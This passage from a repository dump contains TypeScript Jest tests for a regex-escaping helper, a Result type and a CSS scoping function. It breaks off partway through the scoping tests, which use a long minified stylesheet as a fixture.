    "content": "import { escapeRegExpSpecialCharacters } from '../regular-expression';\n\ndescribe('regular expression utils', () => {\n  describe('escapeRegExpSpecialCharacters', () => {\n    it('should escape all special characters', () => {\n      const text = 'This is a string with special characters: $ ^ * + ? . ( ) | { } [ ]';\n      const expected = 'This is a string with special characters: \\\\$ \\\\^ \\\\* \\\\+ \\\\? \\\\. \\\\( \\\\) \\\\| \\\\{ \\\\} \\\\[ \\\\]';\n      const result = escapeRegExpSpecialCharacters(text);\n      expect(result).toEqual(expected);\n    });\n\n    it('should escape only special characters', () => {\n      const text = 'This is a string without special characters';\n      const expected = 'This is a string without special characters';\n      const result = escapeRegExpSpecialCharacters(text);\n      expect(result).toEqual(expected);\n    });\n\n    it('should ignore an empty string', () => {\n      const text = '';\n      const expected = '';\n      const result = escapeRegExpSpecialCharacters(text);\n      expect(result).toEqual(expected);\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/result.spec.ts",
    "content": "import * as result from '../result';\n\ndescribe('Result type and utility functions', () => {\n  it('result.ok should let you create an Ok', () => {\n    const ok = result.ok(1);\n    expect(ok.isOk).toBe(true);\n    expect(ok.isErr).toBe(false);\n    expect(result.unwrap(ok)).toBe(1);\n  });\n\n  it('result.err should let you create an Err', () => {\n    const err = result.err(1);\n    expect(err.isOk).toBe(false);\n    expect(err.isErr).toBe(true);\n    expect(err.value).toBe(1);\n    expect(() => result.unwrap(err)).toThrow();\n  });\n\n  it('result.map should let you map across an Ok value', () => {\n    const ok = result.ok(1);\n    const mapped = result.map(ok, (x) => x + 1);\n    expect(result.unwrap(mapped)).toBe(2);\n  });\n\n  it('result.map should let you map across an Ok value while changing its type', () => {\n    const ok = result.ok(1);\n    const mapped = result.map(ok, (x) => x.toString());\n    expect(result.unwrap(mapped)).toBe('1');\n  });\n\n  it('result.map should let you map with an async function', async () => {\n    const ok = result.ok(1);\n    const mapped = await result.map(ok, async (x) => x + 1);\n    expect(result.unwrap(mapped)).toBe(2);\n  });\n});\n"
  },
  {
    "path": "src/utils/test/scope-css.spec.ts",
    "content": "/**\n * Tests modified from Angular shadow_css tests\n * https://github.com/angular/angular/blob/0f5c70d563b6943623a5940036a52fe077ad3fac/packages/compiler/test/shadow_css_spec.ts\n */\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n\nimport { scopeCss } from '../shadow-css';\n\nconst exampleComponentCss =\n  '@charset \"UTF-8\";:host{display:block}.x7f9d2e .sc-k8j2m4-h{display:block}.x7f9d2e [clamp].sc-k8j2m4-h{min-width:0}.x7f9d2e .sc-k8j2m4-h{--font-family-text:Helvetica, sans-serif}@supports (font-variation-settings: normal){.x7f9d2e .sc-k8j2m4-h{--font-family-text:Bull VF, Helvetica, sans-serif}}.x7f9d2e .sc-k8j2m4-h:lang(ja){--font-family-text:Noto Sans JP, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(ar){--font-family-text:Noto Kufi Arabic, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(ko){--font-family-text:Noto Sans KR, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(hi){--font-family-text:Noto Sans, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(he){--font-family-text:Noto Sans Hebrew, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(ka){--font-family-text:Noto Sans Georgian, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(th){--font-family-text:Noto Sans Thai, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(zh){--font-family-text:Microsoft YaHei, ヒラギノ角ゴ Pro W3, Hiragino Kaku Gothic Pro, Hiragino Kaku Gothic ProN W3, Osaka, メイリオ, Meiryo, ＭＳ Ｐゴシック, MS PGothic, Arial Unicode MS, Tahoma, Helvetica, sans-serif}.x7f9d2e .sc-k8j2m4-h:lang(zh-Hant){--font-family-text:Microsoft JhengHei, Geneva CY, ヒラギノ角ゴ Pro W3, Hiragino Kaku Gothic Pro, Hiragino Kaku Gothic ProN W3, Osaka, メイリオ, Meiryo, ＭＳ Ｐゴシック, MS PGothic, Arial Unicode MS, Tahoma, Helvetica, sans-serif}@supports (font-variation-settings: normal){.x7f9d2e .sc-k8j2m4-s>strong,.x7f9d2e .sc-k8j2m4-s>b{font-variation-settings:\"opsz\" 12, \"wght\" 700}}.x7f9d2e .a9b3c7{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;color:var(--text-color, #000F1E);font-family:var(--text-font-family, var(--font-family-text));font-style:var(--text-font-style, inherit);font-variant-numeric:tabular-nums;font-variation-settings:\"opsz\" 12, \"wght\" 400;font-weight:var(--text-font-weight, 400);letter-spacing:var(--text-letter-spacing, inherit);line-height:var(--text-line-height, 1.5);margin:0;text-transform:var(--text-text-transform, var(--text-transform, inherit))}.x7f9d2e .f3d8e1{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.x7f9d2e .b7c4d9{-webkit-box-orient:vertical;display:-webkit-box;-webkit-line-clamp:var(--text-clamp-length);overflow:hidden}.x7f9d2e .a9b3c7--size-xx-small{font-size:var(--text-font-size, calc(12rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.25);margin-bottom:0.333333em;padding-top:0.666667em}@media (min-width: 380px){.x7f9d2e .a9b3c7--size-xx-small{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media (min-width: 1200px){.x7f9d2e .a9b3c7--size-xx-small{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16))))}}.x7f9d2e .a9b3c7--size-x-small{font-size:var(--text-font-size, calc(14rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.357143);margin-bottom:0.428571em;padding-top:0.714286em}@media (min-width: 380px){.x7f9d2e .a9b3c7--size-x-small{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-small{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16))))}}.x7f9d2e .a9b3c7--size-small{font-size:var(--text-font-size, calc(17rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.411765);margin-bottom:0.470588em;padding-top:0.705882em}@media (min-width: 380px){.x7f9d2e .a9b3c7--size-small{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media (min-width: 1200px){.x7f9d2e .a9b3c7--size-small{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16))))}}.x7f9d2e .a9b3c7--size-medium{font-size:var(--text-font-size, calc(18rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.5);margin-bottom:0.4em;padding-top:0.6em}@media (min-width: 380px){.x7f9d2e .a9b3c7--size-medium{font-size:calc(1 * var(--text-font-size, calc(18rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media (min-width: 1200px){.x7f9d2e .a9b3c7--size-medium{font-size:calc(1 * var(--text-font-size, calc(20rem / var(--base-font-size, 16))))}}.x7f9d2e .a9b3c7--size-large{font-size:var(--text-font-size, calc(22rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.333333);margin-bottom:0.5em;padding-top:1.083333em}@media (min-width: 380px){.x7f9d2e .a9b3c7--size-large{font-size:calc(1 * var(--text-font-size, calc(22rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media (min-width: 1200px){.x7f9d2e .a9b3c7--size-large{font-size:calc(1 * var(--text-font-size, calc(24rem / var(--base-font-size, 16))))}}.x7f9d2e .a9b3c7--size-x-large{font-size:var(--text-font-size, calc(26rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.137931);margin-bottom:0.413793em;padding-top:1.103448em}@media (min-width: 380px){.x7f9d2e .a9b3c7--size-x-large{font-size:calc(1 * var(--text-font-size, calc(26rem / var(--base-font-size, 16) + 3 * (100vw - 380px) / 820)))}}@media (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-large{font-size:calc(1 * var(--text-font-size, calc(29rem / var(--base-font-size, 16))))}}@media screen and (min-width: 0){.x7f9d2e .a9b3c7--size-xx-small\\\\@small{font-size:var(--text-font-size, calc(12rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.25);margin-bottom:0.333333em;padding-top:0.666667em}}@media screen and (min-width: 0) and (min-width: 380px){.x7f9d2e .a9b3c7--size-xx-small\\\\@small{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 0) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-xx-small\\\\@small{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16))))}}@media screen and (min-width: 0){.x7f9d2e .a9b3c7--size-x-small\\\\@small{font-size:var(--text-font-size, calc(14rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.357143);margin-bottom:0.428571em;padding-top:0.714286em}}@media screen and (min-width: 0) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-small\\\\@small{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 0) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-small\\\\@small{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16))))}}@media screen and (min-width: 0){.x7f9d2e .a9b3c7--size-small\\\\@small{font-size:var(--text-font-size, calc(17rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.411765);margin-bottom:0.470588em;padding-top:0.705882em}}@media screen and (min-width: 0) and (min-width: 380px){.x7f9d2e .a9b3c7--size-small\\\\@small{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 0) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-small\\\\@small{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16))))}}@media screen and (min-width: 0){.x7f9d2e .a9b3c7--size-medium\\\\@small{font-size:var(--text-font-size, calc(18rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.5);margin-bottom:0.4em;padding-top:0.6em}}@media screen and (min-width: 0) and (min-width: 380px){.x7f9d2e .a9b3c7--size-medium\\\\@small{font-size:calc(1 * var(--text-font-size, calc(18rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 0) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-medium\\\\@small{font-size:calc(1 * var(--text-font-size, calc(20rem / var(--base-font-size, 16))))}}@media screen and (min-width: 0){.x7f9d2e .a9b3c7--size-large\\\\@small{font-size:var(--text-font-size, calc(22rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.333333);margin-bottom:0.5em;padding-top:1.083333em}}@media screen and (min-width: 0) and (min-width: 380px){.x7f9d2e .a9b3c7--size-large\\\\@small{font-size:calc(1 * var(--text-font-size, calc(22rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 0) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-large\\\\@small{font-size:calc(1 * var(--text-font-size, calc(24rem / var(--base-font-size, 16))))}}@media screen and (min-width: 0){.x7f9d2e .a9b3c7--size-x-large\\\\@small{font-size:var(--text-font-size, calc(26rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.137931);margin-bottom:0.413793em;padding-top:1.103448em}}@media screen and (min-width: 0) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-large\\\\@small{font-size:calc(1 * var(--text-font-size, calc(26rem / var(--base-font-size, 16) + 3 * (100vw - 380px) / 820)))}}@media screen and (min-width: 0) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-large\\\\@small{font-size:calc(1 * var(--text-font-size, calc(29rem / var(--base-font-size, 16))))}}@media screen and (min-width: 650px){.x7f9d2e .a9b3c7--size-xx-small\\\\@medium{font-size:var(--text-font-size, calc(12rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.25);margin-bottom:0.333333em;padding-top:0.666667em}}@media screen and (min-width: 650px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-xx-small\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 650px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-xx-small\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16))))}}@media screen and (min-width: 650px){.x7f9d2e .a9b3c7--size-x-small\\\\@medium{font-size:var(--text-font-size, calc(14rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.357143);margin-bottom:0.428571em;padding-top:0.714286em}}@media screen and (min-width: 650px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-small\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 650px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-small\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16))))}}@media screen and (min-width: 650px){.x7f9d2e .a9b3c7--size-small\\\\@medium{font-size:var(--text-font-size, calc(17rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.411765);margin-bottom:0.470588em;padding-top:0.705882em}}@media screen and (min-width: 650px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-small\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 650px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-small\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16))))}}@media screen and (min-width: 650px){.x7f9d2e .a9b3c7--size-medium\\\\@medium{font-size:var(--text-font-size, calc(18rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.5);margin-bottom:0.4em;padding-top:0.6em}}@media screen and (min-width: 650px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-medium\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(18rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 650px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-medium\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(20rem / var(--base-font-size, 16))))}}@media screen and (min-width: 650px){.x7f9d2e .a9b3c7--size-large\\\\@medium{font-size:var(--text-font-size, calc(22rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.333333);margin-bottom:0.5em;padding-top:1.083333em}}@media screen and (min-width: 650px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-large\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(22rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 650px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-large\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(24rem / var(--base-font-size, 16))))}}@media screen and (min-width: 650px){.x7f9d2e .a9b3c7--size-x-large\\\\@medium{font-size:var(--text-font-size, calc(26rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.137931);margin-bottom:0.413793em;padding-top:1.103448em}}@media screen and (min-width: 650px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-large\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(26rem / var(--base-font-size, 16) + 3 * (100vw - 380px) / 820)))}}@media screen and (min-width: 650px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-large\\\\@medium{font-size:calc(1 * var(--text-font-size, calc(29rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1000px){.x7f9d2e .a9b3c7--size-xx-small\\\\@large{font-size:var(--text-font-size, calc(12rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.25);margin-bottom:0.333333em;padding-top:0.666667em}}@media screen and (min-width: 1000px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-xx-small\\\\@large{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1000px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-xx-small\\\\@large{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1000px){.x7f9d2e .a9b3c7--size-x-small\\\\@large{font-size:var(--text-font-size, calc(14rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.357143);margin-bottom:0.428571em;padding-top:0.714286em}}@media screen and (min-width: 1000px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-small\\\\@large{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1000px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-small\\\\@large{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1000px){.x7f9d2e .a9b3c7--size-small\\\\@large{font-size:var(--text-font-size, calc(17rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.411765);margin-bottom:0.470588em;padding-top:0.705882em}}@media screen and (min-width: 1000px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-small\\\\@large{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1000px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-small\\\\@large{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1000px){.x7f9d2e .a9b3c7--size-medium\\\\@large{font-size:var(--text-font-size, calc(18rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.5);margin-bottom:0.4em;padding-top:0.6em}}@media screen and (min-width: 1000px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-medium\\\\@large{font-size:calc(1 * var(--text-font-size, calc(18rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1000px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-medium\\\\@large{font-size:calc(1 * var(--text-font-size, calc(20rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1000px){.x7f9d2e .a9b3c7--size-large\\\\@large{font-size:var(--text-font-size, calc(22rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.333333);margin-bottom:0.5em;padding-top:1.083333em}}@media screen and (min-width: 1000px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-large\\\\@large{font-size:calc(1 * var(--text-font-size, calc(22rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1000px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-large\\\\@large{font-size:calc(1 * var(--text-font-size, calc(24rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1000px){.x7f9d2e .a9b3c7--size-x-large\\\\@large{font-size:var(--text-font-size, calc(26rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.137931);margin-bottom:0.413793em;padding-top:1.103448em}}@media screen and (min-width: 1000px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-large\\\\@large{font-size:calc(1 * var(--text-font-size, calc(26rem / var(--base-font-size, 16) + 3 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1000px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-large\\\\@large{font-size:calc(1 * var(--text-font-size, calc(29rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1200px){.x7f9d2e .a9b3c7--size-xx-small\\\\@x-large{font-size:var(--text-font-size, calc(12rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.25);margin-bottom:0.333333em;padding-top:0.666667em}}@media screen and (min-width: 1200px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-xx-small\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1200px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-xx-small\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-small\\\\@x-large{font-size:var(--text-font-size, calc(14rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.357143);margin-bottom:0.428571em;padding-top:0.714286em}}@media screen and (min-width: 1200px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-small\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1200px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-small\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1200px){.x7f9d2e .a9b3c7--size-small\\\\@x-large{font-size:var(--text-font-size, calc(17rem / var(--base-font-size, 16)));line-height:var --text-line-height, 1.411765;margin-bottom:0.470588em;padding-top:0.705882em}}@media screen and (min-width: 1200px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-small\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1200px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-small\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1200px){.x7f9d2e .a9b3c7--size-medium\\\\@x-large{font-size:var(--text-font-size, calc(18rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.5);margin-bottom:0.4em;padding-top:0.6em}}@media screen and (min-width: 1200px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-medium\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(18rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1200px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-medium\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(20rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1200px){.x7f9d2e .a9b3c7--size-large\\\\@x-large{font-size:var(--text-font-size, calc(22rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.333333);margin-bottom:0.5em;padding-top:1.083333em}}@media screen and (min-width: 1200px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-large\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(22rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1200px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-large\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(24rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-large\\\\@x-large{font-size:var(--text-font-size, calc(26rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.137931);margin-bottom:0.413793em;padding-top:1.103448em}}@media screen and (min-width: 1200px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-large\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(26rem / var(--base-font-size, 16) + 3 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1200px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-large\\\\@x-large{font-size:calc(1 * var(--text-font-size, calc(29rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1350px){.x7f9d2e .a9b3c7--size-xx-small\\\\@xx-large{font-size:var(--text-font-size, calc(12rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.25);margin-bottom:0.333333em;padding-top:0.666667em}}@media screen and (min-width: 1350px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-xx-small\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1350px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-xx-small\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(12rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1350px){.x7f9d2e .a9b3c7--size-x-small\\\\@xx-large{font-size:var(--text-font-size, calc(14rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.357143);margin-bottom:0.428571em;padding-top:0.714286em}}@media screen and (min-width: 1350px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-small\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1350px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-small\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(14rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1350px){.x7f9d2e .a9b3c7--size-small\\\\@xx-large{font-size:var(--text-font-size, calc(17rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.411765);margin-bottom:0.470588em;padding-top:0.705882em}}@media screen and (min-width: 1350px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-small\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16) + 0 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1350px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-small\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(17rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1350px){.x7f9d2e .a9b3c7--size-medium\\\\@xx-large{font-size:var(--text-font-size, calc(18rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.5);margin-bottom:0.4em;padding-top:0.6em}}@media screen and (min-width: 1350px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-medium\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(18rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1350px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-medium\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(20rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1350px){.x7f9d2e .a9b3c7--size-large\\\\@xx-large{font-size:var(--text-font-size, calc(22rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.333333);margin-bottom:0.5em;padding-top:1.083333em}}@media screen and (min-width: 1350px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-large\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(22rem / var(--base-font-size, 16) + 2 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1350px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-large\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(24rem / var(--base-font-size, 16))))}}@media screen and (min-width: 1350px){.x7f9d2e .a9b3c7--size-x-large\\\\@xx-large{font-size:var(--text-font-size, calc(26rem / var(--base-font-size, 16)));line-height:var(--text-line-height, 1.137931);margin-bottom:0.413793em;padding-top:1.103448em}}@media screen and (min-width: 1350px) and (min-width: 380px){.x7f9d2e .a9b3c7--size-x-large\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(26rem / var(--base-font-size, 16) + 3 * (100vw - 380px) / 820)))}}@media screen and (min-width: 1350px) and (min-width: 1200px){.x7f9d2e .a9b3c7--size-x-large\\\\@xx-large{font-size:calc(1 * var(--text-font-size, calc(29rem / var(--base-font-size, 16))))}}.x7f9d2e .a9b3c7--spacing-none{margin-bottom:0;padding-top:0}.x7f9d2e .a9b3c7--spacing-long-form-bottom{padding-top:0}.x7f9d2e .a9b3c7--spacing-long-form-top{margin-bottom:0}.x7f9d2e .h2j5k8{font-variation-settings:\"opsz\" 12, \"wght\" 500;font-weight:var(--text-font-weight, 500)}.x7f9d2e .m4n7p2{font-variation-settings:\"opsz\" 12, \"wght\" 700;font-weight:var(--text-font-weight, 700)}.x7f9d2e .q8r5t3.w6x9y4{color:var(--text-color, #FFFFFF)}.x7f9d2e .u1v4w7{color:var(--text-color, rgba(0, 15, 30, 0.6))}.x7f9d2e .u1v4w7.w6x9y4{color:var(--text-color, rgba(255, 255, 255, 0.6))}';\n\ndescribe('scopeCSS', function () {\n  function normalizeCSS(css: string): string {\n    return css\n      .replace(/\\s+/g, ' ')\n      .replace(/:\\s/g, ':')\n      .replace(/'/g, '\"')\n      .replace(/ }/g, '}')\n      .replace(/url\\((\\\"|\\s)(.+)(\\\"|\\s)\\)(\\s*)/g, (...match: string[]) => `url(\"${match[2]}\")`)\n      .replace(/\\[(.+)=([^\"\\]]+)\\]/g, (...match: string[]) => `[${match[1]}=\"${match[2]}\"]`);\n  }\n\n  function s(cssText: string, scopeId: string, commentOriginalSelector = false) {\n    const shim = scopeCss(cssText, scopeId, commentOriginalSelector);\n\n    const nlRegexp = /\\n/g;\n    return normalizeCSS(shim.replace(nlRegexp, ''));\n  }\n\n  it('should handle empty string', () => {\n    expect(s('', 'a')).toEqual('');\n  });\n\n  it('should handle empty string, commented org selector', () => {\n    expect(s('', 'a', true)).toEqual('');\n  });\n\n  it('div', () => {\n    const r = s('div {}', 'sc-ion-tag', true);\n    expect(r).toEqual('/*!@div*/div.sc-ion-tag {}');\n  });\n\n  it('should add an attribute to every rule, commented org selector', () => {\n    const css = 'one {color: red;}two {color: red;}';\n    const expected = '/*!@one*/one.a {color:red;}/*!@two*/two.a {color:red;}';\n    expect(s(css, 'a', true)).toEqual(expected);\n  });\n\n  it('should add an attribute to every rule', () 